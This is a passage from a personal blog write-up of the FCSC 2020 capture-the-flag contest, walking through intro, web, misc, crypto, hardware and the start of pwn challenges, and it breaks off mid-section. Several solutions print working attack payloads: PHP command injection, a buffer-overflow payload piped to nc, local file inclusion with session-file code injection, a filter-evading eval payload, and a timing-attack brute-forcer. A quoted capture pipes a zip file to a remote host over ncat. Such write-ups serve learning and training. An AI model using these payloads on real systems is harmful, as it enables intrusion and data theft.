I attended my first Capture The Flag (CTF) last weekend (and on my nights last week): FCSC2020. This was a first for me (well, I did one rootme for an internship interview). This CTF was organized by ANSSI who were looking for a French cybersecurity team to participate in the European Cybersecurity Challenge. The event was comprised of 58 challenges in 9 categories and I solved 34 challenges with at least 1 in every category.
First CTF and first writeup 😉
You can click on the following links to jump to the writeup of the different parts :
Welcome
You have to start somewhere. The goal of this part was to familiarize the player with the rules of the challenges. In each of them you have to find a flag and by bringing it back you claim victory and some points. Each flag as the form FCSC{[here a flag]}
. Second, you had to register on the discord server of the competition. And finally fill in a feedback form at the end of the competition. 1 points per challenge so 3 points to get here !
Intro
No surprises here, in this category you will find the easiest challenges, it covers a bit of all the other categories. I was able to solve all 11 challenges for 20 points each, that’s 220 points !
Babel Web (20 points)
Here we are asked to inspect a website under construction. A ctrl
+u
to see the source code of the page and I find an interesting comment:
<!-- <a href="?source=1">source</a> -->
So I add it to the url, which returns what I assume to be the code of the page in php:
<?php
if (isset($_GET['source'])) {
@show_source(__FILE__);
} else if(isset($_GET['code'])) {
print("<pre>");
@system($_GET['code']);
print("<pre>");
} else {
?>
Well, it looks like the code will execute whatever is passed in the GET
parameter called code
. So let’s try ?code=ls
.
flag.php
index.php
We found what we wanted, ?code=cat flag.php
will get me the flag
Poney (20 points)
We are asked to read the flag
file on a remote server running the following binary (called “poney”).
I start ghidra, import the binary and watch the C source code reassembled by ghidra.
undefined8 main(void)
{
undefined local_28 [32];
puts("Give me the correct input, and I will give you a shell:");
printf(">>> ");
fflush(stdout);
__isoc99_scanf(&DAT_004007b5,local_28);
return 0;
}
So we have a scanf
to retrieve a string from stdin
which will be saved in a 32 byte buffer. What if we write more than 32 bytes ?
s Matches a sequence of non-white-space characters; the next pointer must be a pointer to the initial element of a character array
that is long enough to hold the input sequence and the terminating null byte ('\0'), which is added automatically. The input string
stops at white space or at the maximum field width, whichever occurs first.
Then we have a buffer overflow ! Although I know the principle and the risk, I had never exploited such a bug before. Let’s look at what I find in the memory after this buffer. Oh, the return address of the function. 😏
If you can overwrite it, the program will jump to wherever it is asked. If I look closer at the program I find the following function :
void shell(void)
{
system("/bin/bash");
return;
}
Now all I have to do is jump to his address. I can call it like that :
(python -c 'print "a"*40 + "\x76\x06\x40\x00\x00\x00\x00\x00"';cat) | nc challenges1.france-cybersecurity-challenge.fr 4000¤
Note the ([generation program]; cat)
that allows you to take control and send commands to the remote /bin/sh
. At first I thought my payload wasn’t working, until I realized that it was working, but I didn’t have access to the remote program’s stdin
.
Cap ou Pcap (20 points)
We are given a network capture in the .pcap
format (cap.pcap) which we are told captures a file exchange containing the flag.
I open the capture in wireshark. After identifying one of the network frames, I click on it, then follow -> TCP stream
. We get the following exchange : A zip file seems to have been exchanged after encoding with xxd
.
id
uid=1001(fcsc) gid=1001(fcsc) groups=1001(fcsc)
pwd
/home/fcsc
w
07:10:25 up 24 min, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
fcsc tty7 :0 06:46 24:47 3.13s 0.00s /bin/sh /etc/xdg/xfce4/xinitrc -- /etc/X11/xinit/xserverrc
ls
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
ls Documents
flag.zip
file Documents/flag.zip
Documents/flag.zip: Zip archive data, at least v2.0 to extract
xxd -p Documents/flag.zip | tr -d '\n' | ncat 172.20.20.133 20200
exit
Transmission :
504b0304140000000800a231825065235c39420000004700000008001c00666c61672e7478745554090003bfc8855ebfc8855e75780b000104e803000004e80300000dc9c11180300804c0bfd5840408bc33630356e00568c2b177ddef9eeb5a8fe6ee06ce8e5684f0845997192aad44ecaedc7f8e1acc4e3ec1a8eda164d48c28c77b7c504b01021e03140000000800a231825065235c394200000047000000080018000000000001000000a48100000000666c61672e7478745554050003bfc8855e75780b000104e803000004e8030000504b050600000000010001004e000000840000000000
Then I put the file back in the zip format : xxd -r -p content output.zip
. That’s one more flag !
Le Rat Conteur - “The Taleteller Rat” (20 points)
The provided file flag.jpg.enc was encrypted in AES-128 CTR mode, with the 128-bit key 00112233445566778899aabbccddeeff
and a null IV.
After some research on the internet I find the right command to decrypt it : openssl enc -d -aes-128-ctr -in flag.jpg.enc -out flag.jpg -K 00112233445566778899aabbccddeeff -p -iv 0
Then I have our beautiful picture :
TarteTatin (20 points)
We are asked to retrieve the password from the provided binary file TarteTatin
I open it in ghidra
and it gives me the (simplified) following code :
ulong main(void)
{
int iVar1;
char local_38 [40];
long local_10;
fgets(local_38,0x20,stdin);
transform(local_38);
iVar1 = memcmp(local_38,pass_enc,0x10);
if (iVar1 != 0) {
transform(flag_enc);
puts(flag_enc);
}
}
I retrieve flag_enc
from the binary then remake a C file with the extracted transform
function:
#include <stdio.h>
void transform(char *param_1)
{
char *pcVar1;
char *local_10;
local_10 = param_1;
do {
pcVar1 = local_10 + 1;
*local_10 = *local_10 + '\x01';
local_10 = pcVar1;
} while (*pcVar1 != '\0');
return;
}
int main(){
char flag_enc[] ={ 0x56, 0x64, 0x6b, 0x6b, 0x1f, 0x63, 0x6e, 0x6d, 0x64, 0x20, 0x1f, 0x53, 0x67, 0x64, 0x1f, 0x65, 0x6b, 0x60,
0x66, 0x1f, 0x68, 0x72, 0x39, 0x1f, 0x45, 0x42, 0x52, 0x42, 0x7a, 0x37, 0x32, 0x65, 0x33, 0x30, 0x33, 0x32, 0x30, 0x62, 0x30,
0x30, 0x30, 0x2f, 0x35, 0x31, 0x63, 0x2f, 0x2f, 0x32, 0x63, 0x63, 0x2f, 0x31, 0x30, 0x32, 0x62, 0x65, 0x37, 0x31, 0x33, 0x63,
0x35, 0x35, 0x65, 0x36, 0x36, 0x2f, 0x60, 0x2f, 0x61, 0x64, 0x30, 0x32, 0x2f, 0x34, 0x64, 0x31, 0x37, 0x30, 0x32, 0x65, 0x30,
0x34, 0x63, 0x63, 0x36, 0x35, 0x34, 0x2f, 0x32, 0x60, 0x38, 0x30, 0x63, 0x7c, 0x00, 0x00};
transform(flag_enc);
puts(flag_enc);
}
And there is the flag
But why TarteTatin ? (I’ve learned that every element of the subject matters, whether it’s the title or the description…)
SMIC 1 (20 points)
We are asked to calculate the ciphertext c
(the flag) corresponding to the plaintext m
using RSA
Plaintext :
m = 29092715682136811148741896992216382887663205723233009270907036164616385404410946789697601633832261873953783070225717396137755866976801871184236363551686364362312702985660271388900637527644505521559662128091418418029535347788018938016105431888876506254626085450904980887492319714444847439547681555866496873380
Public key :
(n, e) = (115835143529011985466946897371659768942707075251385995517214050122410566973563965811168663559614636580713282451012293945169200873869218782362296940822448735543079113463384249819134147369806470560382457164633045830912243978622870542174381898756721599280783431283777436949655777218920351233463535926738440504017, 65537)
After some research, I found the right formula and created the following program:
m = 29092715682136811148741896992216382887663205723233009270907036164616385404410946789697601633832261873953783070225717396137755866976801871184236363551686364362312702985660271388900637527644505521559662128091418418029535347788018938016105431888876506254626085450904980887492319714444847439547681555866496873380
n = 115835143529011985466946897371659768942707075251385995517214050122410566973563965811168663559614636580713282451012293945169200873869218782362296940822448735543079113463384249819134147369806470560382457164633045830912243978622870542174381898756721599280783431283777436949655777218920351233463535926738440504017
e = 65537
# c = m^e mod n
c = pow(m,e) % n
print(c)
SMIC 2 (20 points)
RSA again, but in the opposite direction, it is a matter of retrieving the plaintext message from the cipher. Wow, but we’re going to break RSA
???? Well yes, but no, the message was encrypted with weak numbers.
Values :
e = 65537
n = 632459103267572196107100983820469021721602147490918660274601
c = 63775417045544543594281416329767355155835033510382720735973
After a few internet searches I get the following program :
e = 65537
n = 632459103267572196107100983820469021721602147490918660274601
#Using factordb.com
p = 650655447295098801102272374367
q = 972033825117160941379425504503
c = 63775417045544543594281416329767355155835033510382720735973
#m = c^n mod e
#m = pow(c,n,e) # % e
#https://crypto.stackexchange.com/questions/19444/rsa-given-q-p-and-e
def egcd(a, b):
x,y, u,v = 0,1, 1,0
while a != 0:
q, r = b//a, b%a
m, n = x-u*q, y-v*q
b,a, x,y, u,v = a,r, u,v, m,n
gcd = b
return gcd, x, y
# Compute phi(n)
phi = (p - 1) * (q - 1)
# Compute modular inverse of e
gcd, a, b = egcd(e, phi)
d = a
print( "n: " + str(d) );
# Decrypt ciphertext
pt = pow(c, d, n)
print( "pt: " + str(pt) )
Sbox (20 points)
Oh, logic circuits !
We are asked to find the
y3, y2, y1, y0
outputs from the input (x3, x2, x1, x0) = (1, 0, 1, 0)
. I draw the circuit, then a few pencil strokes later, I have the solution. Others have recreated the circuit in https://circuitverse.org/ that I just discovered
Sushi (20 points)
We have to connect to an SSH machine and find the flag. I imagine the flag is contained in a file
$ ssh -p 6000 ctf@challenges2.france-cybersecurity-challenge.fr
ctf@challenges2.france-cybersecurity-challenge.fr's password:
__ __ _ __ _ _ ___
/ / /\ \ \__ _ _ __ | |_ __ _ / _\_ _ ___| |__ (_) / _ \
\ \/ \/ / _` | '_ \| __| / _` | \ \| | | / __| '_ \| | \// /
\ /\ / (_| | | | | |_ | (_| | _\ \ |_| \__ \ | | | | \/
\/ \/ \__,_|_| |_|\__| \__,_| \__/\__,_|___/_| |_|_| ()
ctf@SuSHi:~$ ls
ctf@SuSHi:~$
Hmm? 🤔 no file?
I get ready to search somewhere else in the system cat
then <tab>
(which completes a command) and there, as if by magic, a .flag
appears. Moral: always list with the hidden files ls -la
.
Petit frappe 1 (20 points)
We recover a file petite_frappe_1.txt that seems to come from a keylogger.
I can see right away that the pressed keys are contained in the file. As I’m a computer scientist (ok more of a Computer Engineer), and therefore lazy, I automate the whole thing using unix tools (wow : A one-liner)
grep EV_KEY petite_frappe_1.txt | grep "value 0" | sed 's/.*KEY_\(.\).*$/\1/' |tr -d '\n'
If you break it down a little:
- First
grep
to keep only the lines that are useful to me. - A nice regex with
sed
to extract the key (the explanation can be found here - regexper.com) - And
tr
to put everything on one line
NES Forever (20 points)
We are given a url as well as a mysterious hint: “To find the flag, you will have to inspect a language that is the basis of the Internet.”
I open the page and inspect the code (ctrl
+ u
) and “oh a flag” !
Web
This category gathers all the challenges around the web : php, python, and databases. There are 7 challenges, for a total of 650 points, I was able to solve 6 of them.
EnterTheDungeon (25 points)
We’re just being asked to find a flag on a website.
When I connect to the site I get the following message:
Admins received a message that a hacker had found the secret by bypassing the site's security.
For this reason, the verification form is no longer functional until the developer fixes the vulnerability
As well as a box to enter the password.
Having a look at the source code, and I find the following comment:
<!-- For admins: if you can validate the changes I made in the "check_secret.php" page, the code is accessible on the "check_secret.txt" -->
Well let’s do that. And I get the following source code:
<?php
session_start();
$_SESSION['dungeon_master'] = 0;
?>
<html>
<head>
<title>Enter The Dungeon</title>
</head>
<body style="background-color:#3CB371;">
<center><h1>Enter The Dungeon</h1></center>
<?php
echo '<div style="font-size:85%;color:purple">For security reason, secret check is disable !</div><br />';
echo '<pre>'.chr(10);
include('./ecsc.txt');
echo chr(10).'</pre>';
// authentication is replaced by an impossible test
//if(md5($_GET['secret']) == "a5de2c87ba651432365a5efd928ee8f2")
if(md5($_GET['secret']) == $_GET['secret'])
{
$_SESSION['dungeon_master'] = 1;
echo "Secret is correct, welcome Master ! You can now enter the dungeon";
}
else
{
echo "Wrong secret !";
}
?>
</body></html>
So if I manage to pass the password test, then my session
will be set to 1, which will certainly show the flag.
If I look at the test a little more carefully, the password should be equal to its md5. Strange. Searching for “md5 equal to itself” will get you to this link which is a CTF writeup. I seem to be on the right track.
The trick is to abuse the comparison ==
of php (it would have been necessary to compare it with ===
to avoid the problem). The document indicates that a value of 0e215962017
will allow us to pass the test, I enter it and on the home page I find the flag
Revision (25 points)
We have an archive server that compares documents. Files must be PDF’s of less than 2MB in size. We are given the code for this server comparator.py.
Let’s take a look at the part I’m interested in:
def compare(self):
self._reset_cursor()
return self.f1.read() == self.f2.read()
def store(self):
self._reset_cursor()
f1_hash = self._compute_sha1(self.f1)
f2_hash = self._compute_sha1(self.f2)
if self.db.document_exists(f1_hash) or self.db.document_exists(f2_hash):
raise DatabaseError()
attachments = set([f1_hash, f2_hash])
# Debug debug...
if len(attachments) < 2:
raise StoreError([f1_hash, f2_hash], self._get_flag())
else:
self.m.send(attachments=attachments)
It compares the contents of the 2 files, then adds them to its system if their sha1
’s are different (python’s set
function allows you to make a set, so it doesn’t have several times the same hash)
If the contents are different but the sha1
’s are identical, then I get the flag.
Knowing that it’s possible to get hash sha1
collisions, I go to the site that proved it to get the demonstration PDF’s. The files don’t work, probably because they were already uploaded by other participants. So go looking for a tool to make sha1
collisions on PDF files and I find one on github nneonneo/sha1collider. I apply it to one of my PDF files then upload the resulting PDF files (different but with the same sha1
) and I get the flag.
RainbowPages (25 points)
We have a cooking chef search service here.
I’m looking at the source code, including this part of javascript:
function makeSearch(searchInput) {
if(searchInput.length == 0) {
alert("You must provide at least one character!");
return false;
}
var searchValue = btoa('{ allCooks (filter: { firstname: {like: "%'+searchInput+'%"}}) { nodes { firstname, lastname, speciality, price }}}');
var bodyForm = new FormData();
bodyForm.append("search", searchValue);
fetch("index.php?search="+searchValue, {
method: "GET"
}).then(function(response) {
response.json().then(function(data) {
data = eval(data);
data = data['data']['allCooks']['nodes'];
$("#results thead").show()
var table = $("#results tbody");
table.html("")
$("#empty").hide();
data.forEach(function(item, index, array){
table.append("<tr class='table-dark'><td>"+item['firstname']+" "+ item['lastname']+"</td><td>"+item['speciality']+"</td><td>"+(item['price']/100)+"</td></tr>");
});
$("#count").html(data.length)
$("#count").show()
});
});
}
The search parameter is integrated in: { allCooks (filter: { firstname: {like: "%'+searchInput+'%"}}) { nodes { firstname, lastname, speciality, price }}}
and then the whole thing is encoded in base64 and sent to the server. It looks like this is what the whole request looks like. I try to modify the request and get an error message. Inputing this message in a search engine allows me to identify the technology: GraphQL. Well… I don’t know anything about it.
Let’s find out how I can dump the whole database structure using this technology:
{
__schema {
types {
name
}
}
}
Which sends back :
{
"data": {
"__schema": {
"types": [
{
"name": "Query"
},
{
"name": "Node"
},
{
"name": "ID"
},
{
"name": "Int"
},
{
"name": "Cursor"
},
{
"name": "CooksOrderBy"
},
{
"name": "CookCondition"
},
[...]
{
"name": "CooksConnection"
},
{
"name": "Cook"
},
{
"name": "CooksEdge"
},
{
"name": "PageInfo"
},
{
"name": "FlagsOrderBy"
},
{
"name": "FlagCondition"
},
{
"name": "FlagFilter"
},
{
"name": "FlagsConnection"
},
{
"name": "Flag"
},
{
"name": "FlagsEdge"
},
[...]
]
}
}
}
It seems that I have a flag
table, after a few unsuccessful attempts, I come to a functional request that returns the flag: { allFlags { nodes { id, flag }}}
Lippogrameur (100 points)
A lipogram is a kind of constrained writing or word game consisting of writing paragraphs or longer works in which a particular letter or group of letters is avoided. Wikipedia
We are shown this strange page which returns us its php code :
<?php
if (isset($_GET['code'])) {
$code = substr($_GET['code'], 0, 250);
if (preg_match('/a|e|i|o|u|y|[0-9]/i', $code)) {
die('No way! Go away!');
} else {
try {
eval($code);
} catch (ParseError $e) {
die('No way! Go away!');
}
}
} else {
show_source(__FILE__);
}
I understand that if I manage to write a command without using a vowel nor a number, what I enter will be evaluated by php. The entry must be less than 250 characters long.
Let’s start by listing the php functions that I might be interested in (those who have neither a vowel nor a number):
cat /tmp/lol |grep "^<li><a" | grep ">[^aeiouy0-9]*</a>" |sed 's/.*>\([^<]*\)<\/a>\([^<]*\).*/\1 : \2/'
If I break down this command:
curl
allows me to get the page and to display its code onstdout
.grep
to select only the lines that match a php function without vowels or numbers.- The function name and description of the function is extracted using
sed
.
With the exception of chr
, which allows you to retrieve a character from a number, none of them seem to be really usable.
At first I thought of sending my code using XORs of problematic characters, but I thought it needed 2 evaluations (one to resolve the XOR to a character and concatenate it with the rest and a second to execute it), which is not the case here.
So I search a bit on the internet and I find this article . At the time I looked at method 1, seeing XORs and concluding that it wouldn’t work. Method 2 is much more complex, I get an “A” using an empty array and then I iterate until I get the letters I want. I choose to retrieve all the vowels. I also built ORD to get an a
to form cat
. I understand that it is possible to dynamically call functions by creating a string of characters containing their name toto
and then with: $toto()
. This creates various strings of characters until you can form: var_dump(exec("cat .*");
.
$_=[];$_=@"$_";$_=$_["!"=="@"];$z=$_;++$_;++$_;++$_;$r=++$_;++$_;++$_;++$_;$t=++$_;++$_;++$_;++$_;++$_;++$_;$p=(++$_);$j=$p."RD";++$_;++$_;++$_;++$_;++$_;$n=++$_;$b="V".$z."R_D".$n."MP";$q=$j("b");$h="c".chr(--$q)."t .*";$c=$r."X".$r."C";$b($c($h));
249 illegible characters, but I get the flag.
Later in the weekend, I’d find out that there was a much simpler way, using method 1. The XOR idea was good, to “evaluate them twice”, you just had to put them in variables. I get the following code, which is much more understandable:
$z=')'^'H'; // a
$r='('^'M'; // e
$j='('^']'; // u
$v="v".$z."r_d".$j."mp"; // var_dump
$d=$r."x".$r."c"; // exec
$c="c".$z."t .*"; // cat .*
$v($d($c)); // var_dump(exec("cat .*")
Flag Checker (100 points)
We are offered a service to check the validity of a flag.
I look at the web page source code :
function checkFlag() {
check = Module.cwrap( "check", "number", ["string"]),
flag = $("#flag").val(), check(flag) ? ($("#feedback").html('<div id="alert" class="alert alert-dismissible alert-success"><button type="button" class="close" data-dismiss="alert">×</button><strong>Congratulations!</strong> You can enter this flag in the CTFd.</div>'), $("#feedback").show()) : ($("#feedback").html('<div id="alert" class="alert alert-dismissible alert-danger"><button type="button" class="close" data-dismiss="alert">×</button><strong>Incorrect!</strong> Please check your flag again.</div>'), $("#feedback").show())
}
$("#btn-clear").on("click", (function(e) {
e.preventDefault(), $("#flag").val(""), $("#feedback").hide()
})), $("#btn-check").on("click", (function(e) {
checkFlag()
})), $(document).keyup((function(e) {
"Escape" === e.key ? $("#feedback").html("") : "Enter" === e.key && checkFlag()
}))
I find Module.cwrap
, I search on the internet and find that it is Webassembly. Wow, it’s been a long time since I’ve played with that.
I open the Firefox network inspector and get the file index.wasm
(download it) on my machine. Then I call the wasm2c
tool to get the C code. Digging into the index.js
I can see that it’s the b
function that is called.
I get a rather horrible C with numbers of variables such as i1
, i0
, l0
, I thought that the bytecode intermediate representation would perhaps be better. I get it from the Firefox developper tools in debugger
-> source
-> index.wasm
.
(export "b" (func $func4))
(func $func4 (param $var0 i32) (result i32)
(local $var1 i32) (local $var2 i32)
get_local $var0
i32.load8_u
tee_local $var2
if
get_local $var0
set_local $var1
loop $label0
get_local $var1
get_local $var2
i32.const 3
i32.xor
i32.store8
get_local $var1
i32.load8_u offset=1
set_local $var2
get_local $var1
i32.const 1
i32.add
set_local $var1
get_local $var2
br_if $label0
end $label0
end
get_local $var0
call $func3
i32.eqz
)
It looks like a loop on a value read from memory and XOR with the value 3. If this refers to C, an array in the data part is actually present. Extract it, code a loop to browse it and XOR each value with 3 to obtain the flag
mem = [ 0x45, 0x40, 0x50, 0x40, 0x78, 0x34, 0x66, 0x31, 0x67, 0x37, 0x66, 0x36,
0x61, 0x62, 0x3a, 0x34, 0x32, 0x60, 0x31, 0x67, 0x3a, 0x66, 0x3a, 0x37,
0x37, 0x36, 0x33, 0x31, 0x33, 0x33, 0x3b, 0x65, 0x30, 0x65, 0x3b, 0x30,
0x33, 0x60, 0x36, 0x36, 0x36, 0x31, 0x60, 0x62, 0x65, 0x65, 0x30, 0x3a,
0x33, 0x33, 0x66, 0x67, 0x37, 0x33, 0x32, 0x3b, 0x62, 0x36, 0x66, 0x65,
0x61, 0x34, 0x34, 0x62, 0x65, 0x33, 0x34, 0x67, 0x30, 0x7e ]
mem_xor = []
for x in mem:
mem_xor.append(x ^ 3)
print("".join([chr(x) for x in mem_xor]))
Bestiary (100 points)
We’ve been asked to retrieve the flag from a web page with a drop-down list of monsters. When I choose one, I’m redirected to /index.php?monster=[monster name]
. Let’s try with a non-existent monster name :
<b>Warning</b>: include(lol): failed to open stream: No such file or directory in <b>/var/www/html/index.php</b> on line <b>33</b><br />
<br />
<b>Warning</b>: include(): Failed opening 'lol' for inclusion (include_path='.:/usr/local/lib/php') in <b>/var/www/html/index.php</b> on line <b>33</b><br />
Oh ! So the monster file is included in the php file. Let’s test with another file, for example the file of our index.php
. No answer? It’s slow? Bizzare. Oh no I’m an idiot 🤦, I’m doing recursive includes.
I try a few other files (the apache configuration, or an attempt to see the logs, /etc/passwd
), but nothing very conclusive. So I try to get the index.php
source code to better exploit it. For that I use file://filter
in php : php://filter/read=convert.base64-encode/resource=index.php
to get the code encoded in base64.
<?php
session_save_path("./sessions/");
session_start();
include_once('flag.php');
?>
<html>
<head>
<title>Bestiary</title>
</head>
<body style="background-color:#3CB371;">
<center><h1>Bestiary</h1></center>
<script>
function show()
{
var monster = document.getElementById("monster").value;
document.location.href = "index.php?monster="+monster;
}
</script>
<p>
<?php
$monster = NULL;
if(isset($_SESSION['monster']) && !empty($_SESSION['monster']))
$monster = $_SESSION['monster'];
if(isset($_GET['monster']) && !empty($_GET['monster']))
{
$monster = $_GET['monster'];
$_SESSION['monster'] = $monster;
}
if($monster !== NULL && strpos($monster, "flag") === False)
include($monster);
else
echo "Select a monster to read his description.";
?>
[...]
So I need to read flag.php
but if the request contains flag
then there is no include
and therefore it is not possible to go directly through a filter again.
Our previous request is saved in the session file, which is stored in a folder on the web server. I retrieve our session code (in the development tools of Firefox, under the network
tab by clicking on the request and looking for PHPSESSID
in the cookies). Then I’ll write in this file by calling index.php
like this : index.php?monster=<?php echo file_get_contents("flag.php");?>
and then calling the url with as monster name the name of our session file: index. php?monster=sessions/sess_70cba58ad2173c7a3c27d350165ebf35
which will include (and thus execute) the file I just wrote! This is how I get the flag.
RainbowPages v2 (250 points)
This one I failed to solve. This is the sequel to RainbowPages, but you can no longer skip the whole query directly, only what you’re looking for. Trying to find the right format for the query, I managed to figure out that I was on an “AND” filter by adding a second field to restrict the query like this:
T%"}, speciality : { like: "R%
But I was unable to find the right format in the end.
Reading the writeups, it seems obvious that I missed the idea of commenting the rest of the request with a #
(the comment in GraphQL). What seems a good idea to me is what AetherBlack did (cf this write up) who built a REPL allowing you send a request (always in base64) and getting the answer directly, allowing you to more easily see the expected format.
Misc
This category includes a wide variety of challenges that do not really fit into the other categories. We can find algorithmic problems such as getting out of a maze or creating an XOR-based circuit from a set of combinations of input/output values. There are 7 challenges for a total of 1719 points. I didn’t feel like doing algorithmic (even if the problems seem quite interesting, I think I’ll come back to it later), so I only validated one challenge from this category.
Clepsydre - “Clepsydra” (138 points)
The subject is this:
Originally, the clepsydra is a water instrument that allows one to define the duration of an event, a speech for example. The duration of the event is constrained to the time it takes to empty a tank containing water that flows through a small orifice. In the speech example, the speaker must stop when the container is empty. The duration visualized by this mean is independent of a regular flow of the liquid; the container can have any shape. The instrument is therefore not a hydraulic clock (Wikipedia).
And is associated with a server that upon connection indicates
[Citation du jour] : "Tout vient à point à qui sait attendre".
Entrez votre mot de passe :
This is all very strange. One understands that there is something around time, but not much more. Seeing the quote of the day, I wonder if I shouldn’t exploit that and try a few things around the fortunes-fr
package. After finding the quote in the /usr/share/games/fortunes/en/litterature_francaise
file and testing a few other quotes around it, I realize that if I write the initial quote the password verification time is unusually long.
I gradually reduce the password entered from the quote until I realize that only the initial “T” causes this behavior. So I have a timing attack. I build a little script from pwntools, a python framework allowing (among other things) to easily interact with a netcat server. This little script will test all possible characters, then will only test the one that will have taken the most time. I also use multithreading to accelerate the tests as they are not sequential.
from pwn import *
from multiprocessing.dummy import Pool as ThreadPool
context.log_level = 'critical' # Less debug info please
import string
import time
alphabet = string.printable
#
def one_try(text):
context.log_level = 'critical'
server = remote("challenges2.france-cybersecurity-challenge.fr", 6006)
server.recv()
start = time.time()
try:
server.sendline(text)
server.recvline()
except Exception:
pass
end = time.time()
return (text,end-start)
def one_more(prefix):
time_take = []
try_texts = [ prefix+i for i in alphabet]
pool = ThreadPool(len(try_texts))
time_take = pool.map(one_try, try_texts)
pool.close()
pool.join()
# print(time_take)
max_time = max(time_take,key=lambda item:item[1])
print("New %s with %d seconds (%d tested)" % (max_time[0], max_time[1], len(time_take)))
return max_time[0][-1]
prefix=""
for i in range(0,10):
prefix+=one_more(prefix)
print(prefix)
$ python my_guesting_thread.py
New T with 1 seconds (100 tested)
T
New T3 with 2 seconds (100 tested)
T3
New T3m with 3 seconds (100 tested)
T3m
New T3mp with 4 seconds (100 tested)
T3mp
New T3mp# with 5 seconds (100 tested)
T3mp#
New T3mp#! with 6 seconds (100 tested)
T3mp#!
New T3mp#!` with 6 seconds (100 tested)
T3mp#!`
New T3mp#!`\x0cwith 6 seconds (100 tested)
T3mp#!`\x0c
New T3mp#!`\x0c with 6 seconds (100 tested)
T3mp#!`\x0c
New T3mp#!`\x0c with 6 seconds (100 tested)
T3mp#!`\x0c
After execution I see that the time it takes for a trial is proportional to the correct number of characters (1 correct character = 1 second of test), which allows me to see that although I thought there were 10 possible characters, only 6 are useful. This way I get the password (T3mp#!
)that gives me the flag.
Crypto
This category groups the challenges around cryptography which is far from being my speciality, but as I wanted to validate at least one challenges in each category I try my best to make it through at least one. There are 6 challenges for a total of 1904 points.
Deterministic ECDSA (41 points)
We are given a python file decdsa which contains the code of a server to which we can provide input and which will encrypt our derived input (with an added deterministic suffix) and return the digits in base 64. To get the flag we have to enter the result of the admin
encryption (without the suffix).
I don’t especially know the details of ECDSA, so go to the wikipedia page which describes the algorithm but also a possible attack (this ressource is also useful to understand ECDSA). If I look at the server code what is missing is the contents of the sk.txt
file and I see that k
is not random but depends on the cleartext. If I take a closer look at the attack described on wikipedia, it is explained that I need to have 2 ciphertext from 2 different and known plaintext using the same k
to be able to find k
. After that I can apply following formula:
I don’t have 2 plaintexts encrypted with the same k
but I know k
because it is dependent on the plaintext. So I should be able to carry out the described attack. Looking at the code making the encryption, I identify r
and z
(which is h
in the code). Remains sk
which I cannot identify at first glance, because I believed sk
was what I was trying to find. After a bit more thought I identify what I am looking for, it’s d_A
which is stored in the sk.txt
file. The designers tried to mislead us, the sk
in the formula should be understood as s * k
and I know both of them.
Now I just have to compute the result, getting the contents of sk.txt
allowing us to encrypt admin
and send the encryption to the server to get the flag.
Hardware
Now we’re getting to some things I really like. Well, it’s more signal processing than hardware. We have four challenges for a total of 769 points. The last 2 (200 + 500 points) I didn’t do, they implied that we had to make use of tools such as gnuradio or Universal Radio Hacker.
Quarantaine (25 points)
Oh another logic gate circuit, but this time much bigger, circuit.pdf. We are told for this circuit: f(19) = 581889079277
and we need to find x
such that f(x) = 454088092903
.
Looking at the circuit it is composed of 5 main parts that I will try to simplify.
At the top:
I can see that I have x0 = y0 and that the net values of the middle have fixed values, whatever the input/output values are. And these will be propagated throughout the circuit.
At the bottom:
Same principle with a little subtlety, an AND instead of a NAND, so I have x
= not y
, again the central values that propagate in the rest of the circuit are fixed.
On the left side :
After a little truth table, it’s just a crossover.
To the right:
Here again a small truth table, it is an XOR of which I know the output (y
) and one of the input (from the central values). With this I can deduce the 2nd input, the one connected to the crossing system.
It is thus possible to remove all the data. Because it’s very easy to make mistakes (and I would make too many of them, leading to a lot of failures on the flag for this challenge 😤), I create a small script to simulate this circuit.
#y_deci = 581889079277
y_deci = 454088092903
y = list("0{0:b}".format(y_deci)[::-1])
x = ["e"] * 40
a = "0"
b = "1"
c = "1"
d = "0"
first_input = [a,a,a,a, a,b,b,b, b,b,b,a, b,b,a,b, a,b,a,b, a,a,b,a, c,c,d,c, c,c,c,d, c,c,c,d, d,d,d,c] # inside connection
x[0] = y[0]
x[39] = "0" if y[39] == "1" else "1"
def rev_xor(a, out):
if out == "1":
return "0" if a == "1" else "1"
else:
return a
for i in range(1,39):
val = rev_xor(first_input[i], y[i])
if i % 2 == 0:
x[i-1] = val
else:
x[i+1] = val
print(("".join(x)))
print(int("".join(x)[::-1],2))
If I could have extracted the whole circuit from the PDF (I didn’t look at it but it must be possible), I think I would have used a SAT solver with the circuit.
NECessIR (44 points)
We are told that an infrared remote control has been found and that its owner has to recorded what it sends with the following command:
arecord -D hw:1 -r192000 -t raw -f S16_BE -c1 ir-signal.raw
If you break down the command, it gives the following information:
- Sampling rate in Hertz :
192000
- File type :
raw
- Format :
S16_BE
=> 16 bit big endian - Channel :
1
The capture file is attached. Having identified the format as well as the parameters I can display it visually:
import soundfile as sf
from matplotlib import pyplot as plt
data, samplerate = sf.read('ir-signal.raw', channels=1, samplerate=192000,
format='RAW', subtype='PCM_16', endian='BIG')
plt.plot(data) #, interpolation='nearest')
plt.show()
I identify 4 large parts, and after zooming I identify 2 types of patterns:
We now have to identify the type of signal. Looking at the title of the challenge, with capital letters everywhere, this is the NEC
protocol, which encode bits as follows:
1
: 562.5µs pulse burst followed by a 562.5µs space :10
0
: 562.5µs pulse burst followed by a 1.6875ms space :1000
I extract the precise samples from the beginning of each block and try to decode them. Doing this reveals that the 4 blocks are almost identical.
The next step is to transform the samples to a digital signal. All of this analog to digital part could have been done with inspectrum which was mentioned in the discord server at the end of the CTF. But I didn’t know the software and didn’t think to look at if someone had already made a piece of library for this purpuse. So I coded this part, grouping by 107 samples (the number of samples in a pulse) and assigning 1
if there were more samples != 0
and 0
if there were more samples = 0
.
Checking against the 4 blocks (which are supposed to be identical) I clearly didn’t get the same results. So I added a voter : for each digital pulse, I compared between the 4 parts, and took the majority value. Only one value had a vote of 2 against 2, the pattern being as follows: 10X0001000
it is easy to see that the value must be a 1
.
All that remains is to replace the pulses patterns with logical values by assigning the patterns as described above. Then I decode the result in ASCII and I get the flag. Note that the challenge didn’t use the NEC packet format at all.
pwn
This category covers anything that involves gaining control over something. There are 5 challenges for a total of 1354 points.
Pépin (45 points)
We are given connection information to a SSH server where we can start a wrapper to the attack environment.
Intrigued by the environment I looked at how it was designed.
#include <unistd.h>
int main() {
char *argv[] = {"/home/ctf/.start.sh", NULL};
execve(argv[0], argv, NULL);
return 0;
}
ctf@pepin:~$ ls -lah
total 3.6M
